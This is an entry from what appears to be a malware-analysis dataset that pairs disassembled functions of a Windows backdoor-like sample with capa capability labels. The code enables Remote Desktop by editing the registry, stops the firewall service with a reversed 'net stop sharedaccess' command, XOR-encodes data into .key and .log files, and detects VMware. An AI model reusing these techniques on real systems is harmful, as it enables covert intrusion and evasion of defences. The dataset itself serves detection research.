joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.0040adc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x405570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 0x400
call fcn.0041ab6e
mov esi, dword [esp + 0x14]
add esp, 4
mov ebx, eax
mov ecx, 0x100
xor eax, eax
mov edi, ebx
push 0x42b26c
push 0x6c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov eax, dword [esp + 0x14]
push 0
mov ecx, 0x41
mov edi, ebx
push 0x400
push eax
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.00405510
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4055e2
push ebx
call fcn.0041ab7c
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
pop edi
add eax, ebx
pop esi
pop ebx
ret

Function at 0x4055f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405644
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call fcn.0041ab6e
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.00405510
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4056af
push edi
call fcn.0041ab7c
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x4056c0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x14]
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebx, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
push 4
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 2
and ecx, 3
lea eax, [esp + 0x28]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
mov dword [esp + 0x10], 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x4057b8
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.0041ab6e
add esp, 4
mov edi, eax
test esi, esi
jle 0x4057e7
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x4057db
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x405b00
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x504
push ebx
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
mov ebp, dword [esp + 0x518]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x100
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x10]
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea ebx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..log
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
push 0x80
push 4
push eax
push 3
lea eax, [esp + 0x24]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test ebx, ebx
je 0x405c44
mov ecx, dword [esp + 0x51c]
push 0
push ecx
lea edx, [esp + 0x11c]
push 0x3ff
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405c3d
lea edi, [ebp + 1]
mov ecx, 0xff
lea esi, [esp + 0x114]
mov byte [ebp], 0x8e
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x504
ret

Function at 0x4065b0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [0x4321e4]
sub esp, 0x54
push esi
push edi
push str.TTTTTT
push eax
call fcn.00405570
add esp, 8
test eax, eax
je 0x4065d4
pop edi
xor al, al
pop esi
add esp, 0x54
ret
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call fcn.0041b8e0
mov esi, eax
add esp, 8
inc esi
jne 0x4065f0
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.004139f0
add esp, 8
test al, al
jne 0x406604
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov dword [esp + 0x18], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push str.Ball_Update
push esi
mov dword [esp + 0x48], str.IinSta0Default
mov byte [str.IinSta0Default], 0x57
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x406650
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x406753
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push 0x80000000
call dword [0x43111c]
test eax, eax
jne 0x406753
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [0x431120]
mov ecx, dword [esp + 8]
push ecx
call dword [0x431124]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x406753
lea eax, [esp + 0x64]
push 0x42b1b0
push eax
call fcn.0041b3e0
add esp, 8
test eax, eax
je 0x406753
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x10], 0x44
test eax, eax
je 0x406726
mov dword [esp + 0x18], str.IinSta0Default
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x54]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0
mov byte [ecx], 0x57
push 0
push 0
lea ecx, [esp + 0x80]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret
Function at 0x4067d0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x528
mov ecx, 0x100
xor eax, eax
push ebx
push ebp
mov ebp, dword [0x43125c]
push esi
push edi
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x138]
push str.Ball_
push eax
call ebp
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
add esp, 0x10
lea edx, [esp + 0x34]
mov ebx, eax
push 0x104
push edx
add ebx, 6
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x42b1f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 8
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x540]
lea ecx, [esp + 0x14]
push eax
push ecx
call ebp
add esp, 8
lea edx, [esp + 0x34]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x528
ret

Function at 0x406a70
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
push esi
push eax
mov dword [esp + 8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
sub eax, 2
je 0x406ab3
push 0x42bc08
push 0x42bbfc
call dword [0x43125c]
add esp, 8
mov eax, 0x42bbfc
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 8]
mov esi, dword [0x43125c]
cmp eax, 4
ja 0x406ad1
push str.Windows_NT
push 0x42bbfc
call esi
add esp, 8
cmp dword [esp + 8], 5
jne 0x406b2d
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x406af8
push str.Windows_2000
push 0x42bbfc
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x406b2d
cmp dword [esp + 0xc], 1
jne 0x406b17
push str.Windows_XP
push 0x42bbfc
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x406b2d
cmp dword [esp + 0xc], 2
jne 0x406b43
push str.Windows_2003
push 0x42bbfc
call esi
add esp, 8
cmp dword [esp + 8], 6
jne 0x406b43
push str.Windows_Windows7_Vista_2008
push 0x42bbfc
call esi
add esp, 8
mov eax, 0x42bbfc
pop esi
add esp, 0x9c
ret
Function at 0x4071b0
Capabilities:
Check os version
Hide shutdown actions via policy

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call fcn.00424b48
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call fcn.00424b48
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
add esp, 0x94
ret
Function at 0x407202
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call fcn.00424b48
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call fcn.00424b48
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
add esp, 0x94
ret

Function at 0x407350
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 8]
push 0
rep stosd dword es:[edi], eax
mov edi, str.sseccaderahs_pots_ten
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call fcn.00424b48
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
add esp, 0x104
ret
Function at 0x407a20
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262d8
push 0x41b808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
pushal
pushfd
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [0x4316a0], eax
popfd
popal
jmp 0x407a88
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x4316a0]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408120
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x4316a8
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x431cd0]
push 0x4316a8
inc ecx
mov dword [0x431cd0], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00407ff0
add esp, 8
cmp eax, esi
je 0x4082c8
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x40820f
cmp eax, 2
je 0x40820f
cmp eax, 3
je 0x40820f
cmp eax, 4
jne 0x408288
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov edi, str.n_r_n_rKO_002_0.1_PTTH
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.n_r_n_rKO_002_0.1_PTTH
call fcn.00424b48
mov edx, dword [ebx]
add esp, 4
push eax
push edx
call dword [0x431340]
jmp 0x408288
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.00408090
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x4082c8
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [0x431340]
cmp eax, 0xffffffff
je 0x4082c8
cmp dword [ebx], 0
je 0x4082c8
mov eax, dword [ebx + 4]
test eax, eax
je 0x4082c8
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x409130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4082b8
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x408d30
Capabilities:
Create thread

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [0x431370]
test eax, eax
jne 0x408e1e
push 6
push 1
push 2
call dword [0x431354]
mov edi, eax
cmp edi, 0xffffffff
je 0x408e1e
mov dx, word [0x43169c]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [0x43135c]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [0x431318]
cmp eax, 0xffffffff
je 0x408e1e
push ebx
push ebp
push esi
push 0x32
push edi
call dword [0x431324]
cmp eax, 0xffffffff
jne 0x408dcc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [0x431320]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call fcn.0041b5dc
add esp, 4
test eax, eax
je 0x408dd8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x408a30
push 0
push 0
call ebp
test eax, eax
jne 0x408e15
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408dd8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408dd8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x409fe0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov edi, eax
call fcn.0041ab6e
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40a081
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x40a081
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
call fcn.00424b4e
add esp, 4
push eax
push ebx
call fcn.00424b4e
add esp, 4
push eax
call fcn.0041b3e0
add esp, 8
test eax, eax
jbe 0x40a04b
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40a081
push ebp
call fcn.00424b4e
add esp, 4
push eax
push ebx
call fcn.00424b4e
add esp, 4
push eax
call fcn.0041b3e0
add esp, 8
test eax, eax
ja 0x40a041
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40a056
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40a0f0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x4262f8
test eax, eax
jbe 0x40a134
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x40a114
pop esi
pop ebp
mov ecx, ebx
call fcn.0040ad90
pop edi
pop ebx
ret